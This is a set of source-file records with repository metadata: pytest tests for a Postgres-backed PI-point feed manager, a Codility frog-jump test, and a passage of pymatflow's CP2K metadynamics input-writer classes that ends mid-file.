def test_search_pi_points_using_regex(managed_feeds_postgres_manager, postgres_session): postgres_session.add_all([ PiPoint( pi_point='test1', subscription_status=SubscriptionStatus.subscribed, update_timestamp=datetime.datetime(2017, 1, 1) ), PiPoint( pi_point='Test12', subscription_status=SubscriptionStatus.pending, update_timestamp=datetime.datetime(2017, 1, 2) ) ]) points_data = managed_feeds_postgres_manager.search_pi_points( pattern='[A-Z]{1}[a-z]?[0-9]?', use_regex=True ) assert points_data == { 'pi_points': [ { 'pi_point': 'Test12', 'subscription_status': SubscriptionStatus.pending, 'update_timestamp': datetime.datetime(2017, 1, 2, 0, 0) } ], 'total_count': 1 } def test_search_pi_points_with_pi_points(managed_feeds_postgres_manager, postgres_session): postgres_session.add_all([ PiPoint( pi_point='name1', subscription_status=SubscriptionStatus.subscribed, update_timestamp=datetime.datetime(2017, 1, 1) ), PiPoint( pi_point='name2', subscription_status=SubscriptionStatus.subscribed, update_timestamp=datetime.datetime(2017, 1, 2) ), PiPoint( pi_point='name3', subscription_status=SubscriptionStatus.subscribed, update_timestamp=datetime.datetime(2017, 1, 3) ) ]) points_data = managed_feeds_postgres_manager.search_pi_points(pi_points=['name1', 'name3']) points_data['pi_points'] = sorted(points_data['pi_points'], key=itemgetter('pi_point')) assert points_data == { 'pi_points': [ { 'pi_point': 'name1', 'subscription_status': SubscriptionStatus.subscribed, 'update_timestamp': datetime.datetime(2017, 1, 1, 0, 0) }, { 'pi_point': 'name3', 'subscription_status': SubscriptionStatus.subscribed, 'update_timestamp': datetime.datetime(2017, 1, 3, 0, 0) } ], 'total_count': 2 } def test_search_pi_points_with_status(managed_feeds_postgres_manager, postgres_session): postgres_session.add_all([ PiPoint( pi_point='name1', subscription_status=SubscriptionStatus.subscribed, update_timestamp=datetime.datetime(2017, 1, 1) ), PiPoint( pi_point='name2', subscription_status=SubscriptionStatus.pending, update_timestamp=datetime.datetime(2017, 1, 2) ), PiPoint( pi_point='name3', subscription_status=SubscriptionStatus.unsubscribed, update_timestamp=datetime.datetime(2017, 1, 3) ) ]) points_data = managed_feeds_postgres_manager.search_pi_points(status='subscribed') assert points_data == { 'pi_points': [ { 'pi_point': 'name1', 'subscription_status': SubscriptionStatus.subscribed, 'update_timestamp': datetime.datetime(2017, 1, 1, 0, 0) } ], 'total_count': 1 } @freeze_time('2016-01-02 11:12:13') def test_send_subscribe_request(managed_feeds_postgres_manager, incoming_queue, sqs_uuid4, postgres_session): postgres_session.add_all([PiPoint(pi_point='point1'), PiPoint(pi_point='point2')]) sqs_uuid4.return_value = '1' managed_feeds_postgres_manager.send_subscribe_request(['point1', 'point2']) points = postgres_session.query(PiPoint).all() event = postgres_session.query(Event).get('1') assert all(point.subscription_status == SubscriptionStatus.pending for point in points) assert event.pi_points == ['point1', 'point2'] assert event.event_type == 'subscribe' assert event.status == EventStatus.pending assert incoming_queue.messages == [ { 'id': '1', 'action': 'subscribe', 'created_at': '2016-01-02T11:12:13', 'payload': {'points': ['point1', 'point2']} } ] @freeze_time('2016-01-02 11:12:13') def test_handle_subscribe_request(managed_feeds_postgres_manager, postgres_session, iot_service): postgres_session.add_all([PiPoint(pi_point='point1'), PiPoint(pi_point='point2')]) postgres_session.add(SubscribeEvent(id='1', status=EventStatus.pending, pi_points=['point1', 'point2'])) payload = {'points': ['point1', 'point2']} managed_feeds_postgres_manager.handle_subscribe_request('1', payload) points = postgres_session.query(PiPoint).all() event = postgres_session.query(Event).get('1') assert all(point.subscription_status == SubscriptionStatus.subscribed for point in points) assert event.status == EventStatus.success assert event.pi_points == ['point1', 'point2'] assert iot_service.iot_client.create_thing.has_calls([call(thingName='point1'), call(thingName='point2')]) @freeze_time('2016-01-02 11:12:13') def test_handle_failed_subscribe_request(managed_feeds_postgres_manager, postgres_session): postgres_session.add_all([PiPoint(pi_point='point1'), PiPoint(pi_point='point2')]) postgres_session.add(SubscribeEvent(id='1', status=EventStatus.pending, pi_points=['point1', 'point2'])) payload = {'points': ['point1'], 'error_message': 'point2 failed'} managed_feeds_postgres_manager.handle_subscribe_request('1', payload) point1 = postgres_session.query(PiPoint).get('point1') point2 = postgres_session.query(PiPoint).get('point2') event = postgres_session.query(Event).get('1') assert point1.subscription_status == SubscriptionStatus.subscribed assert point2.subscription_status == SubscriptionStatus.unsubscribed assert event.status == EventStatus.failure @freeze_time('2016-01-02 11:12:13') def test_send_unsubscribe_request(managed_feeds_postgres_manager, incoming_queue, sqs_uuid4, postgres_session): postgres_session.add_all([PiPoint(pi_point='point1'), PiPoint(pi_point='point2')]) sqs_uuid4.return_value = '1' managed_feeds_postgres_manager.send_unsubscribe_request(['point1', 'point2']) points = postgres_session.query(PiPoint).all() event = postgres_session.query(Event).get('1') assert all(point.subscription_status == SubscriptionStatus.pending for point in points) assert event.pi_points == ['point1', 'point2'] assert event.event_type == 'unsubscribe' assert event.status == EventStatus.pending assert incoming_queue.messages == [ { 'id': '1', 'action': 'unsubscribe', 'created_at': '2016-01-02T11:12:13', 'payload': {'points': ['point1', 'point2']} } ] @freeze_time('2016-01-02 11:12:13') def test_handle_unsubscribe_request(managed_feeds_postgres_manager, postgres_session): postgres_session.add_all([PiPoint(pi_point='point1'), PiPoint(pi_point='point2')]) postgres_session.add(UnsubscribeEvent(id='1', status=EventStatus.pending, pi_points=['point1', 'point2'])) payload = {'points': ['point1', 'point2']} managed_feeds_postgres_manager.handle_unsubscribe_request('1', payload) points = postgres_session.query(PiPoint).all() event = postgres_session.query(Event).get('1') assert all(point.subscription_status == SubscriptionStatus.unsubscribed for point in points) assert event.status == EventStatus.success assert event.pi_points == ['point1', 'point2'] @freeze_time('2016-01-02 11:12:13') def test_handle_failed_unsubscribe_request(managed_feeds_postgres_manager, postgres_session): postgres_session.add_all([PiPoint(pi_point='point1'), PiPoint(pi_point='point2')]) postgres_session.add(UnsubscribeEvent(id='1', status=EventStatus.pending, pi_points=['point1', 'point2'])) payload = {'points': ['point1'], 'error_message': 'point2 failed'} managed_feeds_postgres_manager.handle_unsubscribe_request('1', payload) point1 = postgres_session.query(PiPoint).get('point1') point2 = postgres_session.query(PiPoint).get('point2') event = postgres_session.query(Event).get('1') assert point1.subscription_status == SubscriptionStatus.unsubscribed assert point2.subscription_status == SubscriptionStatus.subscribed assert event.status == EventStatus.failure @freeze_time('2016-01-02 11:12:13') def test_send_sync_pi_points_request(managed_feeds_postgres_manager, incoming_queue, sqs_uuid4, postgres_session): sqs_uuid4.return_value = '1' managed_feeds_postgres_manager.send_sync_pi_points_request('bucket') event = postgres_session.query(Event).get('1') assert incoming_queue.messages == [ { 'id': '1', 'action': 'sync_pi_points', 'created_at': '2016-01-02T11:12:13', 'payload': { 's3_bucket': 'bucket', 's3_key': 'pi_points_sync/20160102_111213/pi_points.json' } } ] assert event.event_type == 'sync_pi_points' assert event.status == EventStatus.pending assert event.s3_bucket == 'bucket' assert event.s3_key == 'pi_points_sync/20160102_111213/pi_points.json' @freeze_time('2017-01-02 11:12:13') def test_handle_sync_pi_points(managed_feeds_postgres_manager, postgres_session, s3_resource): postgres_session.add_all([ PiPoint(pi_point='point1', subscription_status=SubscriptionStatus.pending), PiPoint(pi_point='point2', subscription_status=SubscriptionStatus.pending), PiPoint(pi_point='point3', subscription_status=SubscriptionStatus.subscribed), PiPoint(pi_point='point4', subscription_status=SubscriptionStatus.subscribed), ]) postgres_session.add( SyncPiPointsEvent(id='1', status=EventStatus.pending, s3_bucket='bucket', s3_key='pi_points.json') ) s3_resource.Bucket('bucket').upload_fileobj( BytesIO(b'["point1","point3","point5"]'), 'pi_points.json' ) payload = {} managed_feeds_postgres_manager.handle_sync_pi_points('1', payload) points = postgres_session.query(PiPoint).all() point1 = postgres_session.query(PiPoint).get('point1') point3 = postgres_session.query(PiPoint).get('point3') point5 = postgres_session.query(PiPoint).get('point5') event = postgres_session.query(Event).get('1') assert len(points) == 3 assert point1.subscription_status == SubscriptionStatus.pending assert point3.subscription_status == SubscriptionStatus.subscribed assert point5.subscription_status == SubscriptionStatus.unsubscribed assert event.status == EventStatus.success @freeze_time('2016-01-02 11:12:13') def test_send_sync_af_request(managed_feeds_postgres_manager, incoming_queue, postgres_session, sqs_uuid4): sqs_uuid4.return_value = '1' managed_feeds_postgres_manager.send_sync_af_request('bucket', 'database') event = postgres_session.query(Event).get('1') assert incoming_queue.messages == [ { 'id': '1', 'action': 'sync_af', 'created_at': '2016-01-02T11:12:13', 'payload': { 'database': 'database', 's3_bucket': 'bucket', 's3_key': 'af_structure_sync/database/20160102_111213/af_structure.json' } } ] assert event.event_type == 'sync_af' assert event.status == EventStatus.pending assert event.s3_bucket == 'bucket' assert event.s3_key == 'af_structure_sync/database/20160102_111213/af_structure.json' assert event.database == 'database' @freeze_time('2016-01-02 11:12:13') def test_handle_sync_af(managed_feeds_postgres_manager, postgres_session, s3_resource): managed_feeds_postgres_manager._make_unique_s3_key = lambda *args, **kwargs: 'af_structure.json' msg_id = managed_feeds_postgres_manager.send_sync_af_request('bucket', 'NuGreen') af_structure = { "name": "NuGreen", "path": "\\\\EC2AMAZ-0EE3VGR\\NuGreen", "description": None, "template": None, "categories": None, "attributes": None, "assets": [] } s3_resource.Bucket('bucket').upload_fileobj( BytesIO(json.dumps(af_structure).encode()), 'af_structure.json' ) payload = {} managed_feeds_postgres_manager.handle_sync_af(msg_id, payload) event = postgres_session.query(Event).get(msg_id) assert event.status == EventStatus.success @freeze_time('2016-01-02 11:12:13') def test_send_backfill_request(managed_feeds_postgres_manager, postgres_session, incoming_queue, sqs_uuid4): sqs_uuid4.return_value = '1' managed_feeds_postgres_manager.send_backfill_request( query_syntax=False, feeds=['point1', 'point2'], request_from='2016-01-02T11:12:13', request_to='2016-01-02T11:12:13', name='name' ) event = postgres_session.query(Event).get('1') assert incoming_queue.messages == [ { 'id': '1', 'action': 'backfill', 'created_at': '2016-01-02T11:12:13', 'payload': { 'points': ['point1', 'point2'], 'from': '2016-01-02T11:12:13', 'to': '2016-01-02T11:12:13', 'use_query_syntax': False, 'backfill_name': 'name' } } ] assert event.pi_points == ['point1', 'point2'] assert event.status == EventStatus.pending assert event.name == 'name' @freeze_time('2016-01-02 11:12:13') def test_send_backfill_request_with_query(managed_feeds_postgres_manager, incoming_queue, postgres_session, sqs_uuid4): sqs_uuid4.return_value = '1' managed_feeds_postgres_manager.send_backfill_request( query_syntax=True, feeds=['point1', 'point2'], query='-1d', name='name' ) event = postgres_session.query(Event).get('1') assert incoming_queue.messages == [ { 'id': '1', 'action': 'backfill', 'created_at': '2016-01-02T11:12:13', 'payload': { 'points': ['point1', 'point2'], 'query': '-1d', 'use_query_syntax': True, 'backfill_name': 'name' } } ] assert event.pi_points == ['point1', 'point2'] assert event.status == EventStatus.pending assert event.name == 'name' @freeze_time('2016-01-02 11:12:13') def test_handle_backfill(managed_feeds_postgres_manager, postgres_session): postgres_session.add( BackfillEvent(id='1', pi_points=['point1'], status=EventStatus.pending, name='name') ) managed_feeds_postgres_manager.handle_backfill_status('1', {}) event = postgres_session.query(Event).get('1') assert event.pi_points == ['point1'] assert event.status == EventStatus.success assert event.name == 'name' @freeze_time('2016-01-02 11:12:13') def test_handle_backfill_failed(managed_feeds_postgres_manager, postgres_session): postgres_session.add( BackfillEvent(id='1', pi_points=['point1'], status=EventStatus.pending, name='name') ) payload = { 'failed_points': [{ 'point': 'point1', 'error_message': 'fail' }] } managed_feeds_postgres_manager.handle_backfill_status('1', payload) event = postgres_session.query(Event).get('1') assert event.pi_points == ['point1'] assert event.status == EventStatus.failure assert event.name == 'name' assert event.error_message == "{'point1': 'fail'}" @freeze_time('2016-01-02 11:12:13') def test_send_interpolate_request(managed_feeds_postgres_manager, incoming_queue, postgres_session, sqs_uuid4): sqs_uuid4.return_value = '1' managed_feeds_postgres_manager.send_interpolate_request( query_syntax=False, feeds=['point1', 'point2'], interval=1, interval_unit='seconds', request_from='2016-01-02T11:12:13', request_to='2016-01-02T11:12:13', name='name' ) event = postgres_session.query(Event).get('1') assert incoming_queue.messages == [ { "id": "1", "action": 'interpolate', 'created_at': '2016-01-02T11:12:13', "payload": { "points": ['point1', 'point2'], 'from': '2016-01-02T11:12:13', 'to': '2016-01-02T11:12:13', 'use_date_query_syntax': False, 'interval_seconds': 1, 'interpolation_name': 'name' } } ] assert event.pi_points == ['point1', 'point2'] assert event.status == EventStatus.pending assert event.name == 'name' @freeze_time('2016-01-02 11:12:13') def test_send_interpolate_request_with_query(managed_feeds_postgres_manager, incoming_queue, postgres_session, sqs_uuid4): sqs_uuid4.return_value = '1' managed_feeds_postgres_manager.send_interpolate_request( query_syntax=True, feeds=['point1', 'point2'], interval=1, interval_unit='seconds', query='-1d', name='name' ) event = postgres_session.query(Event).get('1') assert incoming_queue.messages == [ { "id": "1", "action": 'interpolate', 'created_at': '2016-01-02T11:12:13', "payload": { "points": ['point1', 'point2'], 'date_query': '-1d', 'interval_seconds': 1, 'use_date_query_syntax': True, 'interpolation_name': 'name' } } ] assert event.pi_points == ['point1', 'point2'] assert event.status == EventStatus.pending assert event.name == 'name' @freeze_time('2016-01-02 11:12:13') def test_handle_interpolation(managed_feeds_postgres_manager, postgres_session): postgres_session.add( InterpolateEvent(id='1', pi_points=['point1'], status=EventStatus.pending, name='name') ) managed_feeds_postgres_manager.handle_interpolation_status('1', {}) event = postgres_session.query(Event).get('1') assert event.pi_points == ['point1'] assert event.status == EventStatus.success assert event.name == 'name' @freeze_time('2016-01-02 11:12:13') def test_handle_interpolation_with_failure(managed_feeds_postgres_manager, postgres_session): postgres_session.add( BackfillEvent(id='1', pi_points=['point1'], status=EventStatus.pending, name='name') ) payload = { "failed_points": [ { "point": "point1", "error_message": "fail" } ] } managed_feeds_postgres_manager.handle_interpolation_status('1', payload) event = postgres_session.query(Event).get('1') assert event.pi_points == ['point1'] assert event.status == EventStatus.failure assert event.name == 'name' assert event.error_message == "{'point1': 'fail'}"

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null

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6

01c40e62303abbf85769fba7334b78d8963d2a45

143

py

Python

lessons/03/frog_imp/test_challenge.py

jimlawton/codility

b286db80c7cfa6722b78c7eb8992e1a5934db8a0

[ "Apache-2.0" ]

null

lessons/03/frog_imp/test_challenge.py

jimlawton/codility

b286db80c7cfa6722b78c7eb8992e1a5934db8a0

[ "Apache-2.0" ]

2

2021-03-25T21:32:16.000Z

2021-07-19T11:11:15.000Z

lessons/03/frog_imp/test_challenge.py

jimlawton/codility

b286db80c7cfa6722b78c7eb8992e1a5934db8a0

[ "Apache-2.0" ]

null

from challenge import solution def test_challenge(): # Use 0 or 1 # Use upper and lower limits assert solution(10, 85, 30) == 3

15.888889

36

0.657343

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143

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0.863636

0

0.085714

0.265734

143

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0

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0

1

0

6

01c94a4ad9baf73aae6a4e2d61251832f8dc6929

33,322

py

Python

pymatflow/cp2k/base/motion_free_energy.py

DeqiTang/pymatflow

bd8776feb40ecef0e6704ee898d9f42ded3b0186

[ "MIT" ]

6

2020-03-06T16:13:08.000Z

2022-03-09T07:53:34.000Z

pymatflow/cp2k/base/motion_free_energy.py

DeqiTang/pymatflow

bd8776feb40ecef0e6704ee898d9f42ded3b0186

[ "MIT" ]

1

2021-10-02T02:23:08.000Z

2021-11-08T13:29:37.000Z

pymatflow/cp2k/base/motion_free_energy.py

DeqiTang/pymatflow

bd8776feb40ecef0e6704ee898d9f42ded3b0186

[ "MIT" ]

1

2021-07-10T16:28:14.000Z

#!/usr/bin/env python # _*_ coding: utf-8 _*_ class cp2k_motion_free_energy_alchemical_change: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t&ALCHEMICAL_CHANGE\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t&END ALCHEMICAL_CHANGE\n") def set_params(self, params): for item in params: if len(item.split("-")) == 3: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_free_energy_info_each: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t&EACH\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t&END EACH\n") def set_params(self, params): for item in params: if len(item.split("-")) == 3: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_free_energy_info: def __init__(self): self.params = {} self.status = False self.each = cp2k_motion_free_energy_free_energy_info_each() # basic setting def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t&FREE_ENERGY_INFO\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t%s %s\n" % (item, str(self.params[item]))) if self.each.status == True: self.each.to_input(fout) fout.write("\t\t&END FREE_ENERGY_INFO\n") def set_params(self, params): for item in params: if len(item.split("-")) == 3: self.params[item.split("-")[-1]] = params[item] elif item.split("-")[2] == "EACH": self.each.set_params({item: params[item]}) else: pass class cp2k_motion_free_energy_metadyn_ext_lagrange_fs: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t&EXT_LAGRANGE_FS\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t&END EXT_LAGRANGE_FS\n") def set_params(self, params): for item in params: if len(item.split("-")) == 4: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_ext_lagrange_ss: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t&EXT_LAGRANGE_SS\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t&END EXT_LAGRANGE_SS\n") def set_params(self, params): for item in params: if len(item.split("-")) == 4: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_ext_lagrange_ss0: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t&EXT_LAGRANGE_SS0\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t&END EXT_LAGRANGE_SS0\n") def set_params(self, params): for item in params: if len(item.split("-")) == 4: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_ext_lagrange_vvp: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t&EXT_LAGRANGE_VVP\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t&END EXT_LAGRANGE_VVP\n") def set_params(self, params): for item in params: if len(item.split("-")) == 4: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_metavar_wall_gaussian: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t\t\t&GAUSSIAN\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t\t\t&END GAUSSIAN\n") def set_params(self, params): for item in params: if len(item.split("-")) == 6: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_metavar_wall_quadratic: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t\t\t&QUADRATIC\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t\t\t&END QUADRATIC\n") def set_params(self, params): for item in params: if len(item.split("-")) == 6: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_metavar_wall_quartic: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t\t\t&QUARTIC\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t\t\t&END QUARTIC\n") def set_params(self, params): for item in params: if len(item.split("-")) == 6: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_metavar_wall_reflective: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t\t\t&REFLECTIVE\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t\t\t&END REFLECTIVE\n") def set_params(self, params): for item in params: if len(item.split("-")) == 6: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_metavar_wall: def __init__(self): self.params = {} self.status = False self.gaussian = cp2k_motion_free_energy_metadyn_metavar_wall_gaussian() self.quadratic = cp2k_motion_free_energy_metadyn_metavar_wall_quadratic() self.quartic = cp2k_motion_free_energy_metadyn_metavar_wall_quartic() self.reflective = cp2k_motion_free_energy_metadyn_metavar_wall_reflective() # basic setting def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t\t&WALL\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t\t%s %s\n" % (item, str(self.params[item]))) if self.gaussian.status == True: self.gaussian.to_input(fout) if self.quadratic.status == True: self.quadratic.to_input(fout) if self.quartic.status == True: self.quartic.to_input(fout) if self.reflective.status == True: self.reflective.to_input(fout) fout.write("\t\t\t\t&END WALL\n") def set_params(self, params): for item in params: if len(item.split("-")) == 5: self.params[item.split("-")[-1]] = params[item] elif item.split("-")[4] == "GAUSSIAN": self.gaussian.set_params({item: params[item]}) elif item.split("-")[4] == "QUADRATIC": self.quadratic.set_params({item: params[item]}) elif item.split("-")[4] == "QUARTIC": self.quartic.set_params({item: params[item]}) elif item.split("-")[4] == "REFLECTIVE": self.reflective.set_params({item: params[item]}) else: pass class cp2k_motion_free_energy_metadyn_metavar: def __init__(self): self.params = {} self.status = False self.wall = cp2k_motion_free_energy_metadyn_metavar_wall() # basic setting def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t&METAVAR\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t%s %s\n" % (item, str(self.params[item]))) if self.wall.status == True: self.wall.to_input(fout) fout.write("\t\t\t&END METAVAR\n") def set_params(self, params): for item in params: if len(item.split("-")) == 4: self.params[item.split("-")[-1]] = params[item] elif item.split("-")[3] == "WALL": self.wall.set_params({item: params[item]}) else: pass class cp2k_motion_free_energy_metadyn_multiple_walkers_walkers_file_name: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t\t&WALKERS_FILE_NAME\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t\t&END WALKERS_FILE_NAME\n") def set_params(self, params): for item in params: if len(item.split("-")) == 5: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_multiple_walkers: def __init__(self): self.params = {} self.status = False self.walkers_file_name = cp2k_motion_free_energy_metadyn_multiple_walkers_walkers_file_name() # basic setting def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t&MULTIPLE_WALKERS\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t%s %s\n" % (item, str(self.params[item]))) if self.walkers_file_name.status == True: self.walkers_file_name.to_input(fout) fout.write("\t\t\t&END MULTIPLE_WALKERS\n") def set_params(self, params): for item in params: if len(item.split("-")) == 4: self.params[item.split("-")[-1]] = params[item] elif item.split("-")[3] == "WALKERS_FILE_NAME": self.walkers.file_name.set_params({item: params[item]}) else: pass class cp2k_motion_free_energy_metadyn_print_colvar_each: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t\t\t&EACH\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t\t\t&END EACH\n") def set_params(self, params): for item in params: if len(item.split("-")) == 6: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_print_colvar: def __init__(self): self.params = {} self.status = False self.each = cp2k_motion_free_energy_metadyn_print_colvar_each() # basic setting def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t\t&COLVAR\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t\t%s %s\n" % (item, str(self.params[item]))) if self.each.status == True: self.each.to_input(fout) fout.write("\t\t\t\t&END COLVAR\n") def set_params(self, params): for item in params: if len(item.split("-")) == 5: self.params[item.split("-")[-1]] = params[item] elif item.split("-")[4] == "EACH": self.each.set_params({item: params[item]}) else: pass class cp2k_motion_free_energy_metadyn_print_hills_each: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t\t\t&EACH\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t\t\t&END EACH\n") def set_params(self, params): for item in params: if len(item.split("-")) == 6: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_print_hills: def __init__(self): self.params = {} self.status = False self.each = cp2k_motion_free_energy_metadyn_print_hills_each() # basic setting def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t\t&HILLS\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t\t%s %s\n" % (item, str(self.params[item]))) if self.each.status == True: self.each.to_input(fout) fout.write("\t\t\t\t&END HILLS\n") def set_params(self, params): for item in params: if len(item.split("-")) == 5: self.params[item.split("-")[-1]] = params[item] elif item.split("-")[4] == "EACH": self.each.set_params({item: params[item]}) else: pass class cp2k_motion_free_energy_metadyn_print_program_run_info_each: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t\t\t&EACH\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t\t\t&END EACH\n") def set_params(self, params): for item in params: if len(item.split("-")) == 6: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_print_program_run_info: def __init__(self): self.params = {} self.status = False self.each = cp2k_motion_free_energy_metadyn_print_program_run_info_each() # basic setting def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t\t&PROGRAM_RUN_INFO\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t\t%s %s\n" % (item, str(self.params[item]))) if self.each.status == True: self.each.to_input(fout) fout.write("\t\t\t\t&END PROGRAM_RUN_INFO\n") def set_params(self, params): for item in params: if len(item.split("-")) == 5: self.params[item.split("-")[-1]] = params[item] elif item.split("-")[4] == "EACH": self.each.set_params({item: params[item]}) else: pass class cp2k_motion_free_energy_metadyn_print_temperature_colvar_each: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t\t\t&EACH\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t\t\t&END EACH\n") def set_params(self, params): for item in params: if len(item.split("-")) == 6: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_print_temperature_colvar: def __init__(self): self.params = {} self.status = False self.each = cp2k_motion_free_energy_metadyn_print_temperature_colvar_each() # basic setting def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t\t&TEMPERATURE_COLVAR\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t\t%s %s\n" % (item, str(self.params[item]))) if self.each.status == True: self.each.to_input(fout) fout.write("\t\t\t\t&END TEMPERATURE_COLVAR\n") def set_params(self, params): for item in params: if len(item.split("-")) == 5: self.params[item.split("-")[-1]] = params[item] elif item.split("-")[4] == "EACH": self.each.set_params({item: params[item]}) else: pass class cp2k_motion_free_energy_metadyn_print: def __init__(self): self.params = {} self.status = False self.colvar = cp2k_motion_free_energy_metadyn_print_colvar() self.hills = cp2k_motion_free_energy_metadyn_print_hills() self.program_run_info = cp2k_motion_free_energy_metadyn_print_program_run_info() self.temperature_colvar = cp2k_motion_free_energy_metadyn_print_temperature_colvar() # basic setting def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t&PRINT\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t%s %s\n" % (item, str(self.params[item]))) if self.colvar.status == True: self.colvar.to_input(fout) if self.hills.status == True: self.hills.to_input(fout) if self.program_run_info.status == True: self.program_run_info.to_input(fout) if self.temperature_colvar.status == True: self.temperature_colvar.to_input(fout) fout.write("\t\t\t&END PRINT\n") def set_params(self, params): for item in params: if len(item.split("-")) == 4: self.params[item.split("-")[-1]] = params[item] elif item.split("-")[3] == "COLVAR": self.colvar.set_params({item: params[item]}) elif item.split("-")[3] == "HILLS": self.hills.set_params({item: params[item]}) elif item.split("-")[3] == "PROGRAM_RUN_INFO": self.program_run_info.set_params({item: params[item]}) elif item.split("-")[3] == "TEMPERATURE_COLVAR": self.temperature_colvar.set_params({item: params[item]}) else: pass class cp2k_motion_free_energy_metadyn_spawned_hills_height: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t&SPAWNED_HILLS_HEIGHT\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t&END SPAWNED_HILLS_HEIGHT\n") def set_params(self, params): for item in params: if len(item.split("-")) == 4: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_spawned_hills_invdt: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a 